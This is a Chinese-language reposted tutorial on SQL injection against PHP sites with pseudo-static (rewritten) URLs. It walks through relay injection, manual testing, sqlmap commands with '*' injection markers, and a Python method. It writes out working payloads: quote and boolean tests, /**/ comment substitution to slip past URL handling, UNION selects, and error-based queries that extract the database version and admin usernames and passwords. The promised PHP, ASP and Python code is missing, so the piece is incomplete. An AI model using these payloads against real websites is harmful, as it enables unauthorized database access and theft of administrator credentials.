加入收藏 | 设为首页 | 会员中心 | 我要投稿 核心网 (https://www.hxwgxz.com/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 编程 > 正文

PHP针对伪静态的注入总结【附asp与Python相关代码】

发布时间:2021-02-26 01:04:57 所属栏目:编程 来源:网络整理
导读:本篇章节讲解PHP针对伪静态的注入。供大家参考研究具体如下: 一:中转注入法 1.通过http://www.xxx.com/news.php?id=1做了伪静态之后就成这样了http://www.xxx.com/news.php/id/1.html 2.测试步骤: 中转注入的php代码:inject.php 3.本地环境搭建

本篇章节讲解PHP针对伪静态的注入。分享给大家供大家参考,具体如下:

一:中转注入法

1.通过http://www.xxx.com/news.php?id=1做了伪静态之后就成这样了 http://www.xxx.com/news.php/id/1.html

2.测试步骤:

中转注入的php代码:inject.php

3.本地环境搭建PHP,然后访问http://127.0.0.1/inject.php?id=1

通过sqlmap或者havj可以跑注入漏洞。

附录ASP中转代码:

二、手工注入法

1.http://www.xxx.com/play/Diablo.html http://www.xxx.com/down/html/?772.html

2.测试注入:

http://www.xxx.com/down/html/?772′.html http://www.xxx.com /play/Diablo'.html http://www.xxx.com/play/Diablo'/**/and /**/1='1 /*.html http://www.xxx.com/play/Diablo' /**/and /**/1='2 /*.html http://www.xxx.com/page/html/?56′/**/and/**/1=1/*.html 正常 http://www.xxx.com/page/html/?56′/**/and/**/1=2/*.html 出错

3.看页面是否存在差异,相同则不存在,不同存在注入。

4.联合查询:

http://www.xxx.com/play/diablo' and 1=2 union select 1,2… frominformation_schema.columns where 1='1.html http://www.xxx.com/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html

手工注入法(二)

http://www.xxx.net/news/html/?410.html http://www.xxx.net/news/html/?410'union/**/select/**/1/**/from/**/(select/**/count(*),0x3a,(select/**/concat(user,password)/**/from/**/pwn_base_admin/**/limit/**/0,1),0x3a)a/**/from/**/information_schema.tables/**/group/**/by/**/a)b/**/where'1'='1.html

注:

伪静态的注入和URL的普通GET注入不太相同

。普通url的get注入的%20,%23,+等都可以用;但是伪静态不行,会被直接传递到到url中,所以用/**/这个注释符号表示空格。

三、SQLmap方法

在sqlmap中伪静态哪儿存在注入点就加* http://www.cunlide.com/id1/1/id2/2 python sqlmap.py -u “http://www.xxx.com/id1/1*/id2/2″ http://www.xxx.com/news/class/?103.htm python sqlmap.py -u “http://www.xxx.com/news/class/?103*.html”

四、python脚本方法

代码:

更多关于PHP相关内容感兴趣的读者可查看本站专题:《》、《》、《》、《》、《》、《》、《》、《》及《》

希望本文所述对大家PHP程序设计有所帮助。

(编辑:核心网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    热点阅读